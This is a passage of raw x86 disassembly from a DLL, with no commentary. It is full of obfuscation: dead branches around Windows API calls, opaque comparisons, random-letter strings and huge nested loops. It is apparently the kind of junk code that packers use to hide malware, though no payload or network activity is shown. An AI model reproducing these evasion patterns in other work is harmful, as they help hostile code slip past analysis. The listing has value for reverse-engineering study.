mov ecx, dword [ebp - 0x2d4]
sar edx, cl
or eax, edx
cdq
mov dword [ebp - 0x9a8], eax
mov dword [ebp - 0x9a4], edx
push dword [ebp - 0x9a4]
push dword [ebp - 0x9a8]
lea ecx, [ebp - 0x1060]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0x8d4], eax
mov ecx, dword [ebp - 0x8d4]
call fcn.10001e3c
push eax
call fcn.10047084
pop ecx
lea ecx, [ebp - 0x1060]
call fcn.10001e32
jmp 0x100266eb
jmp 0x100266c5
jmp 0x1002669f
jmp 0x10026679
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x48c], 0x35e0
jge 0x10026796
push dword [ebp - 0xa60]
call fcn.10047084
pop ecx
jmp 0x100267b2
mov dword [ebp - 4], 0xc
jmp 0x100267c2
mov dword [ebp - 0x224], 0
jmp 0x100267db
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 2
jge 0x100267fd
push dword [ebp - 0x224]
lea ecx, [ebp - 0xe18]
call fcn.10002064
mov dword [eax], 0xfffffffd
jmp 0x100267ce
mov dword [ebp - 0x35c], 0
jmp 0x10026816
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 3
jg 0x100268bb
mov dword [ebp - 0xd40], 1
push 3
lea ecx, [ebp - 0xe08]
call fcn.10001fe6
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x7f4], 0x89aa5088
mov dword [ebp - 0x78], 0
jmp 0x10026858
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 2
jge 0x1002686e
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xf60], 0xcd7d393e
jmp 0x10026851
mov dword [ebp - 0x78], 0
jmp 0x1002687e
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x1002689a
push dword [ebp - 0x78]
lea ecx, [ebp - 0xe08]
call fcn.10002064
mov dword [eax], 0x718b
jmp 0x10026877
mov eax, dword [ebp - 0x7f4]
inc eax
mov dword [ebp - 0x7f4], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xe08]
call fcn.10002048
jmp 0x10026809
mov byte [ebp - 0x10e], 0
movzx eax, byte [ebp - 0x10e]
test eax, eax
je 0x100268db
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xe18]
call fcn.10002048
jmp 0x100265f9
mov dword [ebp - 0x22c], 0
jmp 0x10026908
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 3
jg 0x10026923
push 3
lea ecx, [ebp - 0xc8c]
call fcn.10002064
and dword [eax], 0
jmp 0x100268fb
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xe28]
call fcn.10002048
jmp 0x1002655f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc8c]
call fcn.10002048
mov dword [ebp - 0x38], 2
and dword [ebp - 0x244], 0
jmp 0x1002695e
mov eax, dword [ebp - 0x38]
inc eax
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x1c
jae 0x1002707d
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1c4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x38], eax
jne 0x10026fb3
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x80], 0xffffffff
mov dword [ebp - 0xac], 0xffffffff
mov dword [ebp - 0x2dc], 0
jmp 0x100269b4
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 4
jge 0x100269d0
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0x8a0], 0xfffffffc
jmp 0x100269a7
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x494], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x494]
mov dword [ebp + eax - 0x8a0], ecx
cmp dword [ebp - 0x494], 8
jae 0x10026a00
mov dword [ebp - 0x684], 1
jmp 0x10026a07
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x684]
jge 0x10026a22
mov dword [ebp - 0x49c], 1
jmp 0x10026a29
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x49c]
jl 0x10026a40
mov dword [ebp - 0x77c], 1
jmp 0x10026a47
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x77c], eax
jl 0x10026a62
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8a0], 0
jne 0x10026a74
mov eax, 0x1580
test eax, eax
jne 0x10026a74
and dword [ebp - 0x4a4], 0
jmp 0x10026a7e
mov dword [ebp - 0x4a4], 1
cmp dword [ebp - 0x4a4], 0xcee3
jne 0x10026a96
mov dword [ebp - 0x68c], 1
jmp 0x10026a9d
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x68c]
cmp eax, dword [ebp - 0x3c]
je 0x10026ab8
mov dword [ebp - 0x4ac], 1
jmp 0x10026abf
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x4ac]
jle 0x10026ad6
mov dword [ebp - 0x834], 1
jmp 0x10026add
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
je 0x10026d1f
mov dword [ebp - 0x10c], 0xf86f25db
mov dword [ebp - 0x8dc], 1
mov dword [ebp - 0x80], 0xffff
cmp dword [ebp - 0x80], 0
jne 0x10026b29
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x10026b29
and dword [ebp - 0x4b4], 0
jmp 0x10026b33
mov dword [ebp - 0x4b4], 1
cmp dword [ebp - 0x10c], 0
jne 0x10026b48
mov dword [ebp - 0x694], 1
jmp 0x10026b4f
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x4b4]
add eax, dword [ebp - 0x694]
mov dword [ebp - 0x8dc], eax
mov dword [ebp - 0x10c], 0
jmp 0x10026b7a
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x33
jl 0x10026d1d
mov dword [ebp - 0x3a4], 0xc1979116
mov dword [ebp - 0x234], 0
jmp 0x10026baa
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 2
jge 0x10026bc6
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0xb90], 1
jmp 0x10026b9d
cmp dword [ebp - 0x3c], 0xffff
jae 0x10026bdb
mov dword [ebp - 0x4bc], 1
jmp 0x10026be2
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4bc], eax
jge 0x10026bf9
mov dword [ebp - 0x4d4], 1
jmp 0x10026c00
and dword [ebp - 0x4d4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb90]
dec eax
mov dword [ebp - 0x784], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x784]
mov dword [ebp + eax - 0xb90], ecx
cmp dword [ebp - 0x784], 0xfffffffa
jne 0x10026c3c
mov dword [ebp - 0x4c4], 1
jmp 0x10026c43
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x3a4]
cmp eax, dword [ebp - 0x3a4]
jle 0x10026c5d
mov dword [ebp - 0x69c], 1
jmp 0x10026c64
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x4c4]
sub eax, dword [ebp - 0x69c]
cmp eax, dword [ebp - 0x3a4]
je 0x10026c84
mov dword [ebp - 0x4cc], 1
jmp 0x10026c8b
and dword [ebp - 0x4cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8a0]
cmp dword [ebp - 0x4cc], eax
jle 0x10026cac
mov dword [ebp - 0x7fc], 1
jmp 0x10026cb3
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x10c]
je 0x10026cd9
mov dword [ebp - 0x6a4], 1
jmp 0x10026ce0
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0x6a4]
jl 0x10026cfa
mov dword [ebp - 0x4dc], 1
jmp 0x10026d01
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4dc]
sub eax, 0x4c6710ac
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x8a0], eax
jmp 0x10026b6d
jmp 0x10026d5d
mov dword [ebp - 0xac], 0
jmp 0x10026d38
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jg 0x10026d5d
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x10026d5b
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
jmp 0x10026d2b
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xd48], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8a0]
mov dword [ebp - 0xd50], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8a0], 0x98a597fb
jbe 0x10026d9b
mov dword [ebp - 0x78c], 1
jmp 0x10026da2
and dword [ebp - 0x78c], 0
cmp dword [ebp - 0x78c], 0x53e8af80
jl 0x10026dba
mov dword [ebp - 0x4e4], 1
jmp 0x10026dc1
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4e4], eax
jle 0x10026dd8
mov dword [ebp - 0x6ac], 1
jmp 0x10026ddf
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x6ac], eax
jle 0x10026df6
mov dword [ebp - 0x4ec], 1
jmp 0x10026dfd
and dword [ebp - 0x4ec], 0
cmp dword [ebp - 0x4ec], 0x7bb5
jl 0x10026e15
mov dword [ebp - 0x850], 1
jmp 0x10026e1c
and dword [ebp - 0x850], 0
cmp dword [ebp - 0x850], 0xc6aa04d9
jae 0x10026e34
mov dword [ebp - 0x4f4], 1
jmp 0x10026e3b
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x4f4], eax
jg 0x10026e57
xor eax, eax
inc eax
je 0x10026e57
mov dword [ebp - 0x6b4], 1
jmp 0x10026e5e
and dword [ebp - 0x6b4], 0
cmp dword [ebp - 0x6b4], 0xc083
jl 0x10026e76
mov dword [ebp - 0x4fc], 1
jmp 0x10026e7d
and dword [ebp - 0x4fc], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp + eax - 0x8a0], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd58], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8a0]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x1c4]
inc eax
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x794], 0x4cec
mov dword [ebp - 0xab4], str.wuoinmpi_gnu_vyoxzvqhn_odcelsqk_xizgx_peyibrj
cmp dword [ebp - 0x794], 0x4e2d
jle 0x10026f50
and dword [ebp - 0x334], 0
jmp 0x10026eef
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x2c35
jge 0x10026f50
and dword [ebp - 0x23c], 0
jmp 0x10026f11
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x20ce
jge 0x10026f4e
mov eax, dword [ebp - 0x334]
add eax, dword [ebp - 0x23c]
cdq
mov dword [ebp - 0x9b4], eax
mov dword [ebp - 0x9b0], edx
push dword [ebp - 0x9b0]
push dword [ebp - 0x9b4]
mov ecx, 0x100788d8
call fcn.10001e5c
jmp 0x10026f04
jmp 0x10026ee2
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x1c4]
mov ecx, dword [ebp - 0x38]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x794], 0x4924
jge 0x10026f88
mov edx, dword [ebp - 0xab4]
mov ecx, 0x100788d8
call fcn.10003d65
jmp 0x10026fa4
or dword [ebp - 4], 0xffffffff
jmp 0x10026fae
jmp 0x10026956
mov dword [ebp - 0x2e4], 2
mov dword [ebp - 0x2e4], 3
jmp 0x10026fd6
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x10
je 0x10026ff6
mov dword [ebp - 0x8e4], 6
cmp dword [ebp - 0x8e4], 0
je 0x10026ff4
jmp 0x10026ff6
jmp 0x10026fc9
mov byte [ebp - 0x110], 0
movzx eax, byte [ebp - 0x110]
test eax, eax
je 0x10027010
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x244]
movzx eax, byte [ebp + eax - 0x1c6]
movzx eax, word [ebp + eax*2 - 0xcb4]
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x1c3]
and ecx, eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x244]
movzx eax, byte [ebp + eax - 0x1c6]
movzx eax, word [ebp + eax*2 - 0xcb4]
mov edx, dword [ebp - 0x38]
movzx edx, byte [ebp + edx - 0x1c3]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x1c4]
mov word [ebp + eax*2 - 0xcb4], dx
and dword [ebp - 0x244], 0
jmp 0x10026956
mov dword [ebp - 0x50], 0xb0ce
mov dword [ebp - 0xd60], 1
mov dword [ebp - 0xd68], 0x94fe874d
mov dword [ebp - 0x374], 0
jmp 0x100270b1
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 4
jge 0x100270cd
mov eax, dword [ebp - 0x374]
mov dword [ebp + eax*4 - 0xb3c], 0x7a98815
jmp 0x100270a4
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xb3c], 0xbca9
cmp dword [ebp - 0x50], 0xbca9
jge 0x100270f3
mov dword [ebp - 0x504], 1
jmp 0x100270fa
and dword [ebp - 0x504], 0
xor eax, eax
sub eax, dword [ebp - 0x50]
jne 0x10027110
cmp dword [ebp - 0x50], 0
jne 0x10027110
and dword [ebp - 0x6bc], 0
jmp 0x1002711a
mov dword [ebp - 0x6bc], 1
mov eax, dword [ebp - 0x504]
add eax, 0x34d
cmp eax, dword [ebp - 0x6bc]
je 0x10027139
mov dword [ebp - 0x50c], 1
jmp 0x10027140
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50c]
jge 0x10027157
mov dword [ebp - 0x804], 1
jmp 0x1002715e
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x804], eax
jg 0x10027175
mov dword [ebp - 0x514], 1
jmp 0x1002717c
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0x4456
je 0x1002719c
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xb3c], 0
je 0x1002743e
mov dword [ebp - 0xabc], 1
mov dword [ebp - 0xd70], 0xa4f2a6ca
push 4
lea ecx, [ebp - 0xc98]
call fcn.10001fe6
mov dword [ebp - 4], 0x12
mov dword [ebp - 0xd78], 0xd925d3c0
mov dword [ebp - 0x79c], 1
mov dword [ebp - 0x6c4], 0x378
mov dword [ebp - 0x8ec], str.yvyjbult_fesgkpzvv_ziu_nvu_vabh_bdn_ide_nzorzot_pco
cmp dword [ebp - 0x6c4], 0x551
jle 0x10027304
and dword [ebp - 0x24c], 0
jmp 0x10027212
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x1b6c
jge 0x10027304
and dword [ebp - 0x2ec], 0
jmp 0x10027238
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x2fa8
jge 0x100272ff
and dword [ebp - 0x254], 0
jmp 0x1002725e
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x3c3c
jge 0x100272fa
and dword [ebp - 0x33c], 0
jmp 0x10027284
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x3618
jge 0x100272f5
mov eax, dword [ebp - 0x24c]
imul eax, dword [ebp - 0x2ec]
imul eax, dword [ebp - 0x254]
and eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0x9c0], eax
mov dword [ebp - 0x9bc], edx
push dword [ebp - 0x9bc]
push dword [ebp - 0x9c0]
lea ecx, [ebp - 0xfd0]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0xa6c], eax
mov ecx, dword [ebp - 0xa6c]
call fcn.10001e3c
push eax
call fcn.10047084
pop ecx
lea ecx, [ebp - 0xfd0]
call fcn.10001e32
jmp 0x10027277
jmp 0x10027251
jmp 0x1002722b
jmp 0x10027205
mov dword [ebp - 0x25c], 0
jmp 0x1002731d
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 4
jge 0x1002733f
push dword [ebp - 0x25c]
lea ecx, [ebp - 0xc98]
call fcn.10002064
mov dword [eax], 1
jmp 0x10027310
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x6c4], 0x18b
jge 0x1002735b
push dword [ebp - 0x8ec]
call fcn.10047084
pop ecx
jmp 0x10027377
mov dword [ebp - 4], 0x12
jmp 0x10027387
push 4
pop eax
imul eax, eax, 3
mov esi, dword [ebp + eax - 0xb3c]
push 2
lea ecx, [ebp - 0xc98]
call fcn.10002064
cmp dword [eax], esi
jle 0x100273b1
mov dword [ebp - 0x51c], 1
jmp 0x100273b8
and dword [ebp - 0x51c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb3c]
add eax, dword [ebp - 0x51c]
mov dword [ebp - 0x79c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x79c]
cmp ecx, dword [ebp + eax - 0xb3c]
jl 0x100273f2
mov dword [ebp - 0x524], 1
jmp 0x100273f9
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0xabc]
cmp dword [ebp - 0x524], eax
jle 0x10027413
mov dword [ebp - 0x6cc], 1
jmp 0x1002741a
and dword [ebp - 0x6cc], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6cc]
mov dword [ebp + eax - 0xb3c], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc98]
call fcn.10002048
jmp 0x10027464
mov dword [ebp - 0x50], 0
jmp 0x1002744e
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x10027464
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xb3c], 0xffffffff
jmp 0x10027447
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xcb4], cx
lea eax, [ebp - 0xcb4]
push eax
lea ecx, [ebp - 0xf88]
call fcn.10009211
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0xa78], eax
mov dword [ebp - 4], 0x15
push dword [ebp - 0xa78]
call fcn.1001f71f
pop ecx
mov dword [ebp - 0x658], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf88]
call fcn.10001fd1
mov dword [ebp - 0x30], 0x7e2799ac
mov dword [ebp - 0xd80], 0xfffffffe
push 1
lea ecx, [ebp - 0xe38]
call fcn.10001fe6
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x2f4], 0
jmp 0x100274fe
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 1
jge 0x10027520
push dword [ebp - 0x2f4]
lea ecx, [ebp - 0xe38]
call fcn.10002064
mov dword [eax], 0xfffffff6
jmp 0x100274f1
mov dword [ebp - 0x30], 0xffffffea
jmp 0x10027530
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x17
jne 0x10027a95
push 3
lea ecx, [ebp - 0x86c]
call fcn.10001fe6
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x170], 0xfffffffa
mov dword [ebp - 0x7a4], 0x66efe0cd
mov dword [ebp - 0x138], 0xb1a88af1
mov dword [ebp - 0xb4], 0x312b9482
mov dword [ebp - 0x6e4], 0
mov dword [ebp - 0x52c], 0x1acf
mov dword [ebp - 0xac4], str.hira_tgersds_dlqrldqlq_btegz_ismadqg
cmp dword [ebp - 0x52c], 0x1d32
jle 0x10027677
and dword [ebp - 0x26c], 0
jmp 0x100275b7
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x7080
jge 0x10027677
and dword [ebp - 0x264], 0
jmp 0x100275dd
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x57d6
jge 0x10027672
and dword [ebp - 0x364], 0
jmp 0x10027603
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x72e2
jge 0x1002766d
mov eax, dword [ebp - 0x264]
imul eax, dword [ebp - 0x364]
or eax, dword [ebp - 0x26c]
cdq
mov dword [ebp - 0x9cc], eax
mov dword [ebp - 0x9c8], edx
push dword [ebp - 0x9c8]
push dword [ebp - 0x9cc]
lea ecx, [ebp - 0x1000]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0x8b4], eax
mov ecx, dword [ebp - 0x8b4]
call fcn.10001e3c
push eax
call fcn.10047084
pop ecx
lea ecx, [ebp - 0x1000]
call fcn.10001e32
jmp 0x100275f6
jmp 0x100275d0
jmp 0x100275aa
mov dword [ebp - 0x7ac], 0xffffffff
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x52c], 0x17f7
jge 0x1002769d
push dword [ebp - 0xac4]
call fcn.10047084
pop ecx
jmp 0x100276b9
mov dword [ebp - 4], 0x17
jmp 0x100276c9
mov dword [ebp - 0xacc], 0x4e20eeb4
mov dword [ebp - 0x2fc], 0
jmp 0x100276ec
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 3
jge 0x1002770b
push dword [ebp - 0x2fc]
lea ecx, [ebp - 0x86c]
call fcn.10002064
or dword [eax], 0xffffffff
jmp 0x100276df
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd88], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd90], eax
push 1
lea ecx, [ebp - 0x86c]
call fcn.10002064
mov dword [ebp - 0x844], eax
push 1
lea ecx, [ebp - 0x86c]
call fcn.10002064
mov ecx, dword [ebp - 0x844]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x844]
cmp dword [ecx], eax
jle 0x10027775
mov eax, 0x74b6046e
test eax, eax
jne 0x10027775
and dword [ebp - 0x534], 0
jmp 0x1002777f
mov dword [ebp - 0x534], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x534], eax
jge 0x10027796
mov dword [ebp - 0x6d4], 1
jmp 0x1002779d
and dword [ebp - 0x6d4], 0
cmp dword [ebp - 0x6d4], 0x74a71a6e
jle 0x100277b5
mov dword [ebp - 0x53c], 1
jmp 0x100277bc
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0xbfe7374
je 0x100277e0
mov dword [ebp - 0x544], 1
jmp 0x100277e7
and dword [ebp - 0x544], 0
cmp dword [ebp - 0x544], 3
jb 0x100277fc
mov dword [ebp - 0x6dc], 1
jmp 0x10027803
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x6dc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xd98], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xda0], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xda8], eax
push 2
lea ecx, [ebp - 0x86c]
call fcn.10002064
cmp dword [eax], 0
je 0x10027857
cmp dword [ebp - 0x170], 0
je 0x10027857
mov dword [ebp - 0x904], 1
jmp 0x1002785e
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xdb0], eax
mov esi, dword [ebp - 0x30]
push 1
lea ecx, [ebp - 0x86c]
call fcn.10002064
cmp dword [eax], esi
jge 0x10027887
mov dword [ebp - 0x54c], 1
jmp 0x1002788e
and dword [ebp - 0x54c], 0
cmp dword [ebp - 0x54c], 0
je 0x100278a7
push 6
pop eax
test eax, eax
jne 0x100278a7
and dword [ebp - 0x80c], 0
jmp 0x100278b1
mov dword [ebp - 0x80c], 1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x80c]
jl 0x100278c8
mov dword [ebp - 0x554], 1
jmp 0x100278cf
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x6e4]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xdb8], eax
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1002790c
cmp dword [ebp - 0x170], 0
je 0x1002790c
mov dword [ebp - 0x55c], 1
jmp 0x10027913
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x7ac], eax
cmp dword [ebp - 0x7ac], 0x1832d748
je 0x10027937
mov dword [ebp - 0x564], 1
jmp 0x1002793e
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0xacc], eax
mov dword [ebp - 0xb4], 2
jmp 0x10027966
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jl 0x10027a81
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x86c]
call fcn.10002064
cmp dword [eax], 0
je 0x10027999
cmp dword [ebp - 0x30], 0
je 0x10027994
jmp 0x10027a81
jmp 0x10027a39
mov dword [ebp - 0xdc0], 6
push 3
lea ecx, [ebp - 0xc80]
call fcn.10001fe6
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x60], 0
jmp 0x100279c4
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x100279da
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x10a8], 2
jmp 0x100279bd
mov dword [ebp - 0x60], 0
jmp 0x100279ea
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jge 0x10027a06
push dword [ebp - 0x60]
lea ecx, [ebp - 0xc80]
call fcn.10002064
mov dword [eax], 0x603fa8b7
jmp 0x100279e3
push 0
lea ecx, [ebp - 0xc80]
call fcn.10002064
mov dword [ebp - 0x6ec], eax
mov eax, dword [ebp - 0x6ec]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6ec]
mov dword [ecx], eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xc80]
call fcn.10002048
mov dword [ebp - 0x138], 0
jmp 0x10027a52
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xd
jl 0x10027a7c
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x10027a7a
push 0
push 0x2d2
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x10027a45
jmp 0x10027959
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x86c]
call fcn.10002048
jmp 0x10027529
mov byte [ebp - 0x112], 0
movzx eax, byte [ebp - 0x112]
test eax, eax
je 0x10027ab6
push 0
push 0x2158
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe38]
call fcn.10002048
and dword [ebp - 0x344], 0
jmp 0x10027adb
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0xd
jae 0x10027b56
mov dword [ebp - 0x274], 2
mov dword [ebp - 0x274], 3
jmp 0x10027b07
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x10
je 0x10027b27
